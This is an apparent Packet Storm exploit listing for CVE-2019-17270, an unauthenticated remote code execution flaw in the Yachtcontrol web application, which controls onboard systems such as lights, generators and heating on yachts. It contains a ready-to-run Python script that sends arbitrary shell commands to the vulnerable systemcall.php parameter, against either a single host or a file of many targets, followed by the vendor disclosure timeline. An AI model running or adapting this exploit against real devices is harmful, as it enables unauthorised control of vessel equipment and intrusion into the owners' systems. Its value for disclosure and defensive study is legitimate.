what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Yachtcontrol 2019-10-06 Remote Code Execution

Yachtcontrol 2019-10-06 Remote Code Execution
Posted Dec 6, 2019
Authored by Hodorsec

Yachtcontrol versions dated 2019-10-06 suffer from an unauthenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2019-17270
SHA-256 | b2252962f4ffefcd60f7bc45599cdb4a32a747d57fdae0a5dda1b6d23e8a297e

Yachtcontrol 2019-10-06 Remote Code Execution

Change Mirror Download
# Exploit Title: Yachtcontrol Webapplication - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2019-12-06
# Exploit Author: Hodorsec
# Vendor Homepage: http://www.yachtcontrol.nl/en/
# Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/
# Versions: Yachtcontrol webapplication through versions dated on 2019-10-06
# Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
# CVE: CVE-2019-17270
#
# Description Product:
# Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
# it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components.
# Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.
# Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.
#
# Description Vulnerability:
# It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}"
# page and parameter, where {COMMAND} will be executed and returning the results to the client.
#
# Affected Components:
# Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.

#!/usr/bin/python
import sys,os,requests

# Check arguments
if len(sys.argv) != 5:
print "Error: enter at least one IP/FQDN as argument. Exiting..."
print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"
exit(0)

# Parameters
host = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]
command = sys.argv[4]
timeout = 10
isFile = False

# Check for file or single IP/FQDN
if os.path.isfile(host):
isFile = True
with open(host) as f:
targets = f.readlines()

# Vulnerable page
page = "/pages/systemcall.php?command="

# HTTP or HTTPS
if proto == "http":
proto = "http://"
elif proto == "https":
proto = "https://"
else:
print "\nInvalid method given: enter http or https\n"
exit(0)

# Do the request
if isFile:
for host in targets:
target = host.strip()
print target
try:
response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)
print(response.content.replace('executing command: ' + command,''))
except requests.exceptions.Timeout:
print "Timed out."
pass
except requests.exceptions.RequestException as e:
print "Host not found."
pass
else:
try:
response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)
print(response.content.replace('executing command: ' + command,''))
except requests.exceptions.Timeout:
print "Timed out."
pass
except requests.exceptions.RequestException as e:
print "Host not found."
pass

# Disclosure Timeline using CERT/CC disclosure policy:
# - 06-10-19: Requested CVE
# - 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses
# - 12-10-19: Sent reminder due to no response
# - 06-11-19: Sent second reminder due to no response
# - 08-11-19: Received response requesting information, sent information
# - 11-11-19: Correspondence concerning vulnerability
# - 25-11-19: Sent reminder of publishing PoC to vendor, received response
# - 05-12-19: Sent final reminder of publishing PoC to vendor
# - 06-12-19: Public Disclosure
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close